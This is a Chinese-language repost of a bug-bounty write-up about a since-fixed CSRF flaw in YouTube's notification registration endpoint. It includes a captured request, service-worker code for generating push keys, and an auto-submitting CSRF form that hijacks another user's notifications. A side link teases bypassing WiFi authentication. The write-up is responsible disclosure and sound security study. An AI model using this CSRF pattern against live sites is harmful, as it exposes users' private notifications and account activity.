专栏首页FreeBuf能够用于劫持Youtube用户通知消息的CSRF漏洞探究

能够用于劫持Youtube用户通知消息的CSRF漏洞探究

大家好,今天分享的writeup是关于YouTube通知服务(Notification)的CSRF漏洞,作者利用该漏洞可以劫持其他YouTube用户(受害者)的通知服务,能以受害者用户身份接收到其订阅频道或视频的最新通知,漏洞最终获得Google官方$3133.7美金的奖励,以下是作者的分享。

从POST请求中发现端倪

某天晚上,我在YouTube官网上测试漏洞,看看能有什么发现,不知不觉时间已经是半夜00:30了,困累之极…..。我就随便点点打开了YouTube的通知服务(Notification),其中的POST请求引起了我的注意:

POST /notifications_ajax?action_register_device=1 HTTP/1.1Host: www.youtube.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateReferer: https://www.youtube.com/sw.jsContent-Type: multipart/form-data; boundary=---------------------------41184676334Origin: https://www.youtube.comContent-Length: 1459Connection: closeCookie: duh, cookies!-----------------------------41184676334Content-Disposition: form-data; name="endpoint"https://updates.push.services.mozilla.com/wpush/v1/gAAA...-----------------------------41184676334Content-Disposition: form-data; name="device_id"dbe8453d99714c6160994fdf5bb3c59332df04278a...-----------------------------41184676334Content-Disposition: form-data; name="p256dh_key"BBNVkVOt6tpY1KvJJqtLvqt...-----------------------------41184676334Content-Disposition: form-data; name="auth_key"V5-_lh6nYT2zoY...-----------------------------41184676334Content-Disposition: form-data; name="permission"granted-----------------------------41184676334--

乍一看,为了防止CSRF,其中的auth_key、p256dh_key、endpoint、device_id等参数貌似都是经过编码的字符串,但仔细一分析才知道,这些所有的参数都是由其中updates.push.services.mozilla.com的Mozilla通知推送服务产生的,所以,这样初略来看,该接口上不存在CSRF漏洞。

分析Service Worker 服务工作线程

深入分析可知,上述POST请求中的referrer字段值为“https://www.youtube.com/sw.js”,这个sw.js明显为一个服务工作线程脚本(Service Worker)。

Service Worker 是独立于当前页面的一段运行在浏览器后台进程里的脚本。Service Worker不需要用户打开 web 页面,也不需要其他交互,异步地运行在一个完全独立的上下文环境,不会对主线程造成阻塞。基于Service Worker可以实现消息推送、离线缓存和后台同步API等功能,本质上来说,Service Worker充当了Web应用程序与浏览器之间的代理。

也就是说,referrer字段中的sw.js发起了这个POST请求,以至于这个请求和其它具备CSRF防御机制的YouTube请求内容存在不同。

构造CSRF攻击框架

到了这一步,从这些参数里,我隐约觉得这里应该会有漏洞出现,但总要构造个PoC出来试试看。因此,通过研究以上参数的生成机制,我利用sw.js原理,编写了以下三个代码文件,构建了一个本地服务端来生成其中的各个参数。

index.html:

<!DOCTYPE html><html><head>    <meta charset="utf-8" />    <meta http-equiv="X-UA-Compatible" content="IE=edge">    <title>Push Demo</title>    <meta name="viewport" content="width=device-width, initial-scale=1">    <link rel="stylesheet" type="text/css" media="screen" href="index.css" />    <script src="index.js"></script></head><body>    <h1>Hello World</h1>    <button id="permission-btn" onclick="main()">Ask Permission</button></body></html>
index.js:
const check = () => {  if (!('serviceWorker' in navigator)) {    throw new Error('No Service Worker support!')  }  if (!('PushManager' in window)) {    throw new Error('No Push API Support!')  }}const registerServiceWorker = async () => {  const swRegistration = await navigator.serviceWorker.register('sw.js')  return swRegistration}const requestNotificationPermission = async () => {  const permission = await window.Notification.requestPermission()  if (permission !== 'granted') {    throw new Error('Permission not granted for Notification')  }}const main = async () => {  check()  const swRegistration = await registerServiceWorker()  const permission = await requestNotificationPermission()}

sw.js:

self.addEventListener('activate', async () => {   console.log("Hello");      self.registration.pushManager.subscribe()  .then(function(subscription) {          console.log(JSON.stringify(subscription));  })  .catch(function(e) {    console.log(e);  });})self.addEventListener("push", function(event) {  if (event.data) {    console.log("Push event!! ", event.data.text());    showLocalNotification("Yolo", event.data.text(),  self.registration);  } else {    console.log("Push event but no data");  }});const showLocalNotification = (title, body, swRegistration) => {  const options = {    body    // here you can add more properties like icon, image, vibrate, etc.  };  swRegistration.showNotification(title, options);};

这三个代码文件的目的在于获取sw.js请求时生成的各个参数,有了这些参数,就可以间接形成通知(Notification),打开其中的index.html页面,点击Ask Permission按钮请求通知权限,后台调用sw.js脚本,通过内置的Firefox API形成一个本地的通知服务端,通知请求提交时,我们就能获取到其中的各个参数。利用这些参数,可以进一步构造出CSRF攻击框架,就能获取到对应的通知消息。

在本地loclalhost构造这种通知请求服务端,需要用到Service Worker 服务工作线程(sw.js)的部署原理,其中涉及服务注册、激活、缓存控制和相关响应机制,具体可参考:developer.mozilla.org和developers.google.com中的详细介绍说明。

综合上述分析,基于我们之前创建的本地通知服务端,结合Youtube的通知请求提交方式,我构造了以下CSRF攻击框架:

<form action="https://www.youtube.com/notifications_ajax?action_register_device=1" method="post" enctype="multipart/form-data" name="csrf">        <input type="text" name="device_id" value="replace">        <input type="text" name="permission" value="granted">                <input type="text" name="endpoint" value="replace">                <input type="text" name="p256dh_key" value="replace=">                <input type="text" name="auth_key" value="replace">        <input type="submit">        <script type="text/javascript">document.csrf.submit();</script></form></html>

让我意想不到的是,我在其中以其他Youtube账号身份,利用获取到的各种请求参数,提交了通知请求,竟然能有效实施通知消息的CSRF攻击。也就是说,我们现在可以劫持到其他Youtube账号的消息推送接口(PUSH webhook),以其他Youtube账号身份收取到Youtube响应该账号的相关通知,这些通知可能是他订阅的某个频道或视频的更新消息,也可能是他私人视频的观众评论等,如下:

漏洞上报后,谷歌在半小时之后就给了我回复,称漏洞有效,会尽快走完验证修复流程,并会及时给我后续通知。半个多月后,谷歌回复称修复工作已经完成,漏洞按其VRP项目核定,达到$3133.70美金的奖励。

*参考来源:hackademic,clouds编译,转载请注明来自FreeBuf.COM

本文分享自微信公众号 - FreeBuf(freebuf),作者:clouds

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2019-04-27

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • 绕过WiFi验证:四招教你免费使用WiFi

    如今越来越多的商场、咖啡店、饭店等公共场所都提供了开放的WiFi网络。不过有时即便我们的设备连上了WiFi,当随便打开一个网页就会立即弹出身份验证页面……是不是...

    FB客服
  • 弹性边界:如何利用环境变量进行提权

    简介 尽管进程都设置了环境变量,它们往往被用户,开发者甚至是系统本身所忽略。对于一个像样的系统来说,环境变量就是其最根本,这里的系统包括但不仅限于Unix (...

    FB客服
  • 基于Casbin的Docker权限管理访问控制插件

    Docker是目前主流的一种容器技术。为了解决多用户同时访问Docker时产生的安全问题,Docker设计了访问控制插件(Authorization Plugi...

    FB客服
  • 使用Node.js爬取任意网页资源并输出高质量PDF文件到本地~

    中的所有<a> 标签对应的跳转网页中的所有 title的文字内容,最后放到一个数组中。

    Peter谭金杰
  • 教程 | 如何使用JavaScript构建机器学习模型

    选自:hackernoon 作者:Abhishek Soni 参与:李泽南 目前,机器学习领域建模的主要语言是 Python 和 R,前不久腾讯推出的机器学习框...

    机器之心
  • Python自动化测试疑问及解决方案(一)

    账号一般用于接口登录、接口用例传参、操作sql等,目前账号是写到yaml配置文件里,如果1个账户使用会出现资源冲突,可以配置多个账号使用,登录脚本中、用例脚本中...

    橙子探索测试
  • Hbase的安装(hadoop-2.6.0,hbase1.0)

      Hbase的安装相对很简单啊。。。只要你装了Hadoop 装Hbase就是分分钟的事 如果要装hadoop集群的话 hadoop分类的集群安装好了,如果已经...

    用户3003813
  • Effective Modern C++翻译(2)-条款1:明白模板类型推导

    第一章 类型推导 C++98有一套单一的类型推导的规则:用来推导函数模板,C++11轻微的修改了这些规则并且增加了两个,一个用于auto,一个用于decltyp...

    magicsoar
  • 鸿洋AutoLayout代码分析(三):入口类分析

    我们可以发现,只是做了name的判断, 如果是属性中的3中Layout, 会自动替换成 对应的AutoXXXLayout 如果不是,直接调用父类的 View...

    dodo_lihao
  • 我们真的缺前端工程师吗? | TW洞见

    今日洞见 文章作者来自ThoughtWorks:邱俊涛。 本文所有内容,包括文字、图片和音视频资料,版权均属ThoughtWorks公司所有,任何媒体、网站或...

    ThoughtWorks

扫码关注云+社区

领取腾讯云代金券